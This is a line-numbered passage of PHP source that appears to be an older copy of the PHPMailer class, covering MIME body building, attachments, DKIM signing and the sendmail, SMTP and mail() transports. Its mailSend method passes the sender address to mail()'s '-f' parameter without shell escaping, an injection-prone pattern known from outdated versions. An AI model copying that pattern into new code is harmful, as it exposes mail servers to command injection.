  831. $altBodyEncoding = '7bit';
  832. $altBodyCharSet = 'us-ascii';
  833. }
  834. switch ($this->message_type) {
  835. case 'inline':
  836. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  837. $body .= $this->encodeString($this->Body, $bodyEncoding);
  838. $body .= $this->LE . $this->LE;
  839. $body .= $this->attachAll('inline', $this->boundary[1]);
  840. break;
  841. case 'attach':
  842. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  843. $body .= $this->encodeString($this->Body, $bodyEncoding);
  844. $body .= $this->LE . $this->LE;
  845. $body .= $this->attachAll('attachment', $this->boundary[1]);
  846. break;
  847. case 'inline_attach':
  848. $body .= $this->textLine('--' . $this->boundary[1]);
  849. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  850. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  851. $body .= $this->LE;
  852. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  853. $body .= $this->encodeString($this->Body, $bodyEncoding);
  854. $body .= $this->LE . $this->LE;
  855. $body .= $this->attachAll('inline', $this->boundary[2]);
  856. $body .= $this->LE;
  857. $body .= $this->attachAll('attachment', $this->boundary[1]);
  858. break;
  859. case 'alt':
  860. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  861. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  862. $body .= $this->LE . $this->LE;
  863. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  864. $body .= $this->encodeString($this->Body, $bodyEncoding);
  865. $body .= $this->LE . $this->LE;
  866. if (!empty($this->Ical)) {
  867. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  868. $body .= $this->encodeString($this->Ical, $this->Encoding);
  869. $body .= $this->LE . $this->LE;
  870. }
  871. $body .= $this->endBoundary($this->boundary[1]);
  872. break;
  873. case 'alt_inline':
  874. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  875. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  876. $body .= $this->LE . $this->LE;
  877. $body .= $this->textLine('--' . $this->boundary[1]);
  878. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  879. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  880. $body .= $this->LE;
  881. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  882. $body .= $this->encodeString($this->Body, $bodyEncoding);
  883. $body .= $this->LE . $this->LE;
  884. $body .= $this->attachAll('inline', $this->boundary[2]);
  885. $body .= $this->LE;
  886. $body .= $this->endBoundary($this->boundary[1]);
  887. break;
  888. case 'alt_attach':
  889. $body .= $this->textLine('--' . $this->boundary[1]);
  890. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  891. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  892. $body .= $this->LE;
  893. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  894. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  895. $body .= $this->LE . $this->LE;
  896. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  897. $body .= $this->encodeString($this->Body, $bodyEncoding);
  898. $body .= $this->LE . $this->LE;
  899. $body .= $this->endBoundary($this->boundary[2]);
  900. $body .= $this->LE;
  901. $body .= $this->attachAll('attachment', $this->boundary[1]);
  902. break;
  903. case 'alt_inline_attach':
  904. $body .= $this->textLine('--' . $this->boundary[1]);
  905. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  906. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  907. $body .= $this->LE;
  908. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  909. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  910. $body .= $this->LE . $this->LE;
  911. $body .= $this->textLine('--' . $this->boundary[2]);
  912. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  913. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  914. $body .= $this->LE;
  915. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  916. $body .= $this->encodeString($this->Body, $bodyEncoding);
  917. $body .= $this->LE . $this->LE;
  918. $body .= $this->attachAll('inline', $this->boundary[3]);
  919. $body .= $this->LE;
  920. $body .= $this->endBoundary($this->boundary[2]);
  921. $body .= $this->LE;
  922. $body .= $this->attachAll('attachment', $this->boundary[1]);
  923. break;
  924. default:
  925. $body .= $this->encodeString($this->Body, $bodyEncoding);
  926. break;
  927. }
  928. if ($this->isError()) {
  929. $body = '';
  930. } elseif ($this->sign_key_file) {
  931. try {
  932. if (!defined('PKCS7_TEXT')) {
  933. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  934. }
  935. $file = tempnam(sys_get_temp_dir(), 'mail');
  936. file_put_contents($file, $body);
  937. $signed = tempnam(sys_get_temp_dir(), 'signed');
  938. if (@openssl_pkcs7_sign($file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null)) {
  939. @unlink($file);
  940. $body = file_get_contents($signed);
  941. @unlink($signed);
  942. } else {
  943. @unlink($file);
  944. @unlink($signed);
  945. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  946. }
  947. } catch (phpmailerException $exc) {
  948. $body = '';
  949. if ($this->exceptions) {
  950. throw $exc;
  951. }
  952. }
  953. }
  954. return $body;
  955. }
  956.  
  957. public function setWordWrap()
  958. {
  959. if ($this->WordWrap < 1) {
  960. return;
  961. }
  962. switch ($this->message_type) {
  963. case 'alt':
  964. case 'alt_inline':
  965. case 'alt_attach':
  966. case 'alt_inline_attach':
  967. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  968. break;
  969. default:
  970. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  971. break;
  972. }
  973. }
  974.  
  975. public function has8bitChars($text)
  976. {
  977. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  978. }
  979.  
  980. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  981. {
  982. $result = '';
  983. if ($charSet == '') {
  984. $charSet = $this->CharSet;
  985. }
  986. if ($contentType == '') {
  987. $contentType = $this->ContentType;
  988. }
  989. if ($encoding == '') {
  990. $encoding = $this->Encoding;
  991. }
  992. $result .= $this->textLine('--' . $boundary);
  993. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  994. $result .= $this->LE;
  995. if ($encoding != '7bit') {
  996. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  997. }
  998. $result .= $this->LE;
  999. return $result;
  1000. }
  1001.  
  1002. public function encodeString($str, $encoding = 'base64')
  1003. {
  1004. $encoded = '';
  1005. switch (strtolower($encoding)) {
  1006. case 'base64':
  1007. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  1008. break;
  1009. case '7bit':
  1010. case '8bit':
  1011. $encoded = $this->fixEOL($str);
  1012. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  1013. $encoded .= $this->LE;
  1014. }
  1015. break;
  1016. case 'binary':
  1017. $encoded = $str;
  1018. break;
  1019. case 'quoted-printable':
  1020. $encoded = $this->encodeQP($str);
  1021. break;
  1022. default:
  1023. $this->setError($this->lang('encoding') . $encoding);
  1024. break;
  1025. }
  1026. return $encoded;
  1027. }
  1028.  
  1029. public function encodeQP($string, $line_max = 76)
  1030. {
  1031. if (function_exists('quoted_printable_encode')) {
  1032. return $this->fixEOL(quoted_printable_encode($string));
  1033. }
  1034. $string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "\r\n=2E", "\r\n", '='), rawurlencode($string));
  1035. $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  1036. return $this->fixEOL($string);
  1037. }
  1038.  
  1039. protected function attachAll($disposition_type, $boundary)
  1040. {
  1041. $mime = array();
  1042. $cidUniq = array();
  1043. $incl = array();
  1044. foreach ($this->attachment as $attachment) {
  1045. if ($attachment[6] == $disposition_type) {
  1046. $string = '';
  1047. $path = '';
  1048. $bString = $attachment[5];
  1049. if ($bString) {
  1050. $string = $attachment[0];
  1051. } else {
  1052. $path = $attachment[0];
  1053. }
  1054. $inclhash = md5(serialize($attachment));
  1055. if (in_array($inclhash, $incl)) {
  1056. continue;
  1057. }
  1058. $incl[] = $inclhash;
  1059. $name = $attachment[2];
  1060. $encoding = $attachment[3];
  1061. $type = $attachment[4];
  1062. $disposition = $attachment[6];
  1063. $cid = $attachment[7];
  1064. if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  1065. continue;
  1066. }
  1067. $cidUniq[$cid] = true;
  1068. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  1069. $mime[] = sprintf('Content-Type: %s; name="%s"%s', $type, $this->encodeHeader($this->secureHeader($name)), $this->LE);
  1070. if ($encoding != '7bit') {
  1071. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  1072. }
  1073. if ($disposition == 'inline') {
  1074. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  1075. }
  1076. if (!(empty($disposition))) {
  1077. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $name)) {
  1078. $mime[] = sprintf('Content-Disposition: %s; filename="%s"%s', $disposition, $this->encodeHeader($this->secureHeader($name)), $this->LE . $this->LE);
  1079. } else {
  1080. $mime[] = sprintf('Content-Disposition: %s; filename=%s%s', $disposition, $this->encodeHeader($this->secureHeader($name)), $this->LE . $this->LE);
  1081. }
  1082. } else {
  1083. $mime[] = $this->LE;
  1084. }
  1085. if ($bString) {
  1086. $mime[] = $this->encodeString($string, $encoding);
  1087. if ($this->isError()) {
  1088. return '';
  1089. }
  1090. $mime[] = $this->LE . $this->LE;
  1091. } else {
  1092. $mime[] = $this->encodeFile($path, $encoding);
  1093. if ($this->isError()) {
  1094. return '';
  1095. }
  1096. $mime[] = $this->LE . $this->LE;
  1097. }
  1098. }
  1099. }
  1100. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  1101. return implode('', $mime);
  1102. }
  1103.  
  1104. public function isError()
  1105. {
  1106. return ($this->error_count > 0);
  1107. }
  1108.  
  1109. protected function encodeFile($path, $encoding = 'base64')
  1110. {
  1111. try {
  1112. if (!is_readable($path)) {
  1113. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  1114. }
  1115. $magic_quotes = get_magic_quotes_runtime();
  1116. if ($magic_quotes) {
  1117. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1118. set_magic_quotes_runtime(false);
  1119. } else {
  1120. ini_set('magic_quotes_runtime', 0);
  1121. }
  1122. }
  1123. $file_buffer = file_get_contents($path);
  1124. $file_buffer = $this->encodeString($file_buffer, $encoding);
  1125. if ($magic_quotes) {
  1126. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1127. set_magic_quotes_runtime($magic_quotes);
  1128. } else {
  1129. ini_set('magic_quotes_runtime', ($magic_quotes ? '1' : '0'));
  1130. }
  1131. }
  1132. return $file_buffer;
  1133. } catch (Exception $exc) {
  1134. $this->setError($exc->getMessage());
  1135. return '';
  1136. }
  1137. }
  1138.  
  1139. protected function endBoundary($boundary)
  1140. {
  1141. return $this->LE . '--' . $boundary . '--' . $this->LE;
  1142. }
  1143.  
  1144. public function DKIM_Add($headers_line, $subject, $body)
  1145. {
  1146. $DKIMsignatureType = 'rsa-sha1';
  1147. $DKIMcanonicalization = 'relaxed/simple';
  1148. $DKIMquery = 'dns/txt';
  1149. $DKIMtime = time();
  1150. $subject_header = "Subject: $subject";
  1151. $headers = explode($this->LE, $headers_line);
  1152. $from_header = '';
  1153. $to_header = '';
  1154. $current = '';
  1155. foreach ($headers as $header) {
  1156. if (strpos($header, 'From:') === 0) {
  1157. $from_header = $header;
  1158. $current = 'from_header';
  1159. } elseif (strpos($header, 'To:') === 0) {
  1160. $to_header = $header;
  1161. $current = 'to_header';
  1162. } else {
  1163. if ($current && strpos($header, ' =?') === 0) {
  1164. $current .= $header;
  1165. } else {
  1166. $current = '';
  1167. }
  1168. }
  1169. }
  1170. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  1171. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  1172. $subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header));
  1173. $body = $this->DKIM_BodyC($body);
  1174. $DKIMlen = strlen($body);
  1175. $DKIMb64 = base64_encode(pack('H*', sha1($body)));
  1176. $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  1177. $dkimhdrs = 'DKIM-Signature: v=1; a=' . $DKIMsignatureType . '; q=' . $DKIMquery . '; l=' . $DKIMlen . '; s=' . $this->DKIM_selector . ";\r\n" . "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" . "\th=From:To:Subject;\r\n" . "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" . "\tz=$from\r\n" . "\t|$to\r\n" . "\t|$subject;\r\n" . "\tbh=" . $DKIMb64 . ";\r\n" . "\tb=";
  1178. $toSign = $this->DKIM_HeaderC($from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs);
  1179. $signed = $this->DKIM_Sign($toSign);
  1180. return $dkimhdrs . $signed . "\r\n";
  1181. }
  1182.  
  1183. public function DKIM_QP($txt)
  1184. {
  1185. $line = '';
  1186. for ($i = 0; $i < strlen($txt); $i++) {
  1187. $ord = ord($txt[$i]);
  1188. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  1189. $line .= $txt[$i];
  1190. } else {
  1191. $line .= '=' . sprintf('%02X', $ord);
  1192. }
  1193. }
  1194. return $line;
  1195. }
  1196.  
  1197. public function DKIM_BodyC($body)
  1198. {
  1199. if ($body == '') {
  1200. return "\r\n";
  1201. }
  1202. $body = str_replace("\r\n", "\n", $body);
  1203. $body = str_replace("\n", "\r\n", $body);
  1204. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  1205. $body = substr($body, 0, strlen($body) - 2);
  1206. }
  1207. return $body;
  1208. }
  1209.  
  1210. public function DKIM_HeaderC($signHeader)
  1211. {
  1212. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  1213. $lines = explode("\r\n", $signHeader);
  1214. foreach ($lines as $key => $line) {
  1215. list($heading, $value) = explode(':', $line, 2);
  1216. $heading = strtolower($heading);
  1217. $value = preg_replace('/\s+/', ' ', $value);
  1218. $lines[$key] = $heading . ':' . trim($value);
  1219. }
  1220. $signHeader = implode("\r\n", $lines);
  1221. return $signHeader;
  1222. }
  1223.  
  1224. public function DKIM_Sign($signHeader)
  1225. {
  1226. if (!defined('PKCS7_TEXT')) {
  1227. if ($this->exceptions) {
  1228. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  1229. }
  1230. return '';
  1231. }
  1232. $privKeyStr = file_get_contents($this->DKIM_private);
  1233. if ($this->DKIM_passphrase != '') {
  1234. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  1235. } else {
  1236. $privKey = $privKeyStr;
  1237. }
  1238. if (openssl_sign($signHeader, $signature, $privKey)) {
  1239. return base64_encode($signature);
  1240. }
  1241. return '';
  1242. }
  1243.  
  1244. public function postSend()
  1245. {
  1246. try {
  1247. switch ($this->Mailer) {
  1248. case 'sendmail':
  1249. case 'qmail':
  1250. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1251. case 'smtp':
  1252. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1253. case 'mail':
  1254. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1255. default:
  1256. $sendMethod = $this->Mailer . 'Send';
  1257. if (method_exists($this, $sendMethod)) {
  1258. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1259. }
  1260. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1261. }
  1262. } catch (phpmailerException $exc) {
  1263. $this->setError($exc->getMessage());
  1264. $this->edebug($exc->getMessage());
  1265. if ($this->exceptions) {
  1266. throw $exc;
  1267. }
  1268. }
  1269. return false;
  1270. }
  1271.  
  1272. protected function sendmailSend($header, $body)
  1273. {
  1274. if ($this->Sender != '') {
  1275. if ($this->Mailer == 'qmail') {
  1276. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1277. } else {
  1278. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1279. }
  1280. } else {
  1281. if ($this->Mailer == 'qmail') {
  1282. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1283. } else {
  1284. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1285. }
  1286. }
  1287. if ($this->SingleTo === true) {
  1288. foreach ($this->SingleToArray as $toAddr) {
  1289. if (!@$mail = popen($sendmail, 'w')) {
  1290. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1291. }
  1292. fputs($mail, 'To: ' . $toAddr . "\n");
  1293. fputs($mail, $header);
  1294. fputs($mail, $body);
  1295. $result = pclose($mail);
  1296. $this->doCallback(($result == 0), array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1297. if ($result != 0) {
  1298. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1299. }
  1300. }
  1301. } else {
  1302. if (!@$mail = popen($sendmail, 'w')) {
  1303. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1304. }
  1305. fputs($mail, $header);
  1306. fputs($mail, $body);
  1307. $result = pclose($mail);
  1308. $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1309. if ($result != 0) {
  1310. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1311. }
  1312. }
  1313. return true;
  1314. }
  1315.  
  1316. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  1317. {
  1318. if (!empty($this->action_function) && is_callable($this->action_function)) {
  1319. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  1320. call_user_func_array($this->action_function, $params);
  1321. }
  1322. }
  1323.  
  1324. protected function smtpSend($header, $body)
  1325. {
  1326. $bad_rcpt = array();
  1327. if (!$this->smtpConnect()) {
  1328. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1329. }
  1330. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1331. if (!$this->smtp->mail($smtp_from)) {
  1332. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1333. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1334. }
  1335. foreach ($this->to as $to) {
  1336. if (!$this->smtp->recipient($to[0])) {
  1337. $bad_rcpt[] = $to[0];
  1338. $isSent = false;
  1339. } else {
  1340. $isSent = true;
  1341. }
  1342. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1343. }
  1344. foreach ($this->cc as $cc) {
  1345. if (!$this->smtp->recipient($cc[0])) {
  1346. $bad_rcpt[] = $cc[0];
  1347. $isSent = false;
  1348. } else {
  1349. $isSent = true;
  1350. }
  1351. $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
  1352. }
  1353. foreach ($this->bcc as $bcc) {
  1354. if (!$this->smtp->recipient($bcc[0])) {
  1355. $bad_rcpt[] = $bcc[0];
  1356. $isSent = false;
  1357. } else {
  1358. $isSent = true;
  1359. }
  1360. $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
  1361. }
  1362. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1363. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1364. }
  1365. if ($this->SMTPKeepAlive == true) {
  1366. $this->smtp->reset();
  1367. } else {
  1368. $this->smtp->quit();
  1369. $this->smtp->close();
  1370. }
  1371. if (count($bad_rcpt) > 0) {
  1372. throw new phpmailerException($this->lang('recipients_failed') . implode(', ', $bad_rcpt), self::STOP_CONTINUE);
  1373. }
  1374. return true;
  1375. }
  1376.  
  1377. public function smtpConnect($options = array())
  1378. {
  1379. if (is_null($this->smtp)) {
  1380. $this->smtp = $this->getSMTPInstance();
  1381. }
  1382. if ($this->smtp->connected()) {
  1383. return true;
  1384. }
  1385. $this->smtp->setTimeout($this->Timeout);
  1386. $this->smtp->setDebugLevel($this->SMTPDebug);
  1387. $this->smtp->setDebugOutput($this->Debugoutput);
  1388. $this->smtp->setVerp($this->do_verp);
  1389. $hosts = explode(';', $this->Host);
  1390. $lastexception = null;
  1391. foreach ($hosts as $hostentry) {
  1392. $hostinfo = array();
  1393. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1394. continue;
  1395. }
  1396. $prefix = '';
  1397. $tls = ($this->SMTPSecure == 'tls');
  1398. if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
  1399. $prefix = 'ssl://';
  1400. $tls = false;
  1401. } elseif ($hostinfo[2] == 'tls') {
  1402. $tls = true;
  1403. }
  1404. $host = $hostinfo[3];
  1405. $port = $this->Port;
  1406. $tport = (integer)$hostinfo[4];
  1407. if ($tport > 0 and $tport < 65536) {
  1408. $port = $tport;
  1409. }
  1410. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1411. try {
  1412. if ($this->Helo) {
  1413. $hello = $this->Helo;
  1414. } else {
  1415. $hello = $this->serverHostname();
  1416. }
  1417. $this->smtp->hello($hello);
  1418. if ($tls) {
  1419. if (!$this->smtp->startTLS()) {
  1420. throw new phpmailerException($this->lang('connect_host'));
  1421. }
  1422. $this->smtp->hello($hello);
  1423. }
  1424. if ($this->SMTPAuth) {
  1425. if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
  1426. throw new phpmailerException($this->lang('authenticate'));
  1427. }
  1428. }
  1429. return true;
  1430. } catch (phpmailerException $exc) {
  1431. $lastexception = $exc;
  1432. $this->smtp->quit();
  1433. }
  1434. }
  1435. }
  1436. $this->smtp->close();
  1437. if ($this->exceptions and !is_null($lastexception)) {
  1438. throw $lastexception;
  1439. }
  1440. return false;
  1441. }
  1442.  
  1443. public function getSMTPInstance()
  1444. {
  1445. if (!is_object($this->smtp)) {
  1446. $this->smtp = new SMTP;
  1447. }
  1448. return $this->smtp;
  1449. }
  1450.  
  1451. protected function mailSend($header, $body)
  1452. {
  1453. $toArr = array();
  1454. foreach ($this->to as $toaddr) {
  1455. $toArr[] = $this->addrFormat($toaddr);
  1456. }
  1457. $to = implode(', ', $toArr);
  1458. if (empty($this->Sender)) {
  1459. $params = ' ';
  1460. } else {
  1461. $params = sprintf('-f%s', $this->Sender);
  1462. }
  1463. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1464. $old_from = ini_get('sendmail_from');
  1465. ini_set('sendmail_from', $this->Sender);
  1466. }
  1467. $result = false;
  1468. if ($this->SingleTo === true && count($toArr) > 1) {
  1469. foreach ($toArr as $toAddr) {
  1470. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1471. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1472. }
  1473. } else {
  1474. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1475. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1476. }
  1477. if (isset($old_from)) {
  1478. ini_set('sendmail_from', $old_from);
  1479. }
  1480. if (!$result) {
  1481. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1482. }
  1483. return true;
  1484. }
  1485.  
  1486. private function mailPassthru($to, $subject, $body, $header, $params)
  1487. {
  1488. if (ini_get('mbstring.func_overload') & 1) {
  1489. $subject = $this->secureHeader($subject);
  1490. } else {
  1491. $subject = $this->encodeHeader($this->secureHeader($subject));
  1492. }
  1493. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  1494. $result = @mail($to, $subject, $body, $header);
  1495. } else {
  1496. $result = @mail($to, $subject, $body, $header, $params);
  1497. }
  1498. return $result;
  1499. }
  1500.  
  1501. public function getTranslations()
  1502. {
  1503. return $this->language;
  1504. }
  1505.  
  1506. public function getSentMIMEMessage()
  1507. {
  1508. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1509. }
  1510.  
  1511. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  1512. {
  1513. try {
  1514. if (!@is_file($path)) {
  1515. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  1516. }
  1517. if ($type == '') {
  1518. $type = self::filenameToType($path);
  1519. }
  1520. $filename = basename($path);
  1521. if ($name == '') {
  1522. $name = $filename;
  1523. }
  1524. $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => 0);
  1525. } catch (phpmailerException $exc) {
  1526. $this->setError($exc->getMessage());
  1527. $this->edebug($exc->getMessage());
  1528. if ($this->exceptions) {
  1529. throw $exc;
  1530. }
  1531. return false;
  1532. }
  1533. return true;
  1534. }
  1535.  
  1536. public static function filenameToType($filename)
  1537. {
  1538. $qpos = strpos($filename, '?');
  1539. if ($qpos !== false) {
  1540. $filename = substr($filename, 0, $qpos);
  1541. }
  1542. $pathinfo = self::mb_pathinfo($filename);
  1543. return self::_mime_types($pathinfo['extension']);
  1544. }
  1545.  
  1546. public static function mb_pathinfo($path, $options = null)
  1547. {
  1548. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  1549. $pathinfo = array();
  1550. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  1551. if (array_key_exists(1, $pathinfo)) {
  1552. $ret['dirname'] = $pathinfo[1];
  1553. }
  1554. if (array_key_exists(2, $pathinfo)) {
  1555. $ret['basename'] = $pathinfo[2];
  1556. }
  1557. if (array_key_exists(5, $pathinfo)) {
  1558. $ret['extension'] = $pathinfo[5];
  1559. }
  1560. if (array_key_exists(3, $pathinfo)) {
  1561. $ret['filename'] = $pathinfo[3];
  1562. }
  1563. }
  1564. switch ($options) {
  1565. case PATHINFO_DIRNAME:
  1566. case 'dirname':
  1567. return $ret['dirname'];
  1568. case PATHINFO_BASENAME:
  1569. case 'basename':
  1570. return $ret['basename'];
  1571. case PATHINFO_EXTENSION:
  1572. case 'extension':
  1573. return $ret['extension'];
  1574. case PATHINFO_FILENAME:
  1575. case 'filename':
  1576. return $ret['filename'];
  1577. default:
  1578. return $ret;
  1579. }
  1580. }
  1581.  
  1582. public static function _mime_types($ext = '')
  1583. {
  1584. $mimes = array('xl' => 'application/excel', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'js' => 'application/x-javascript', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 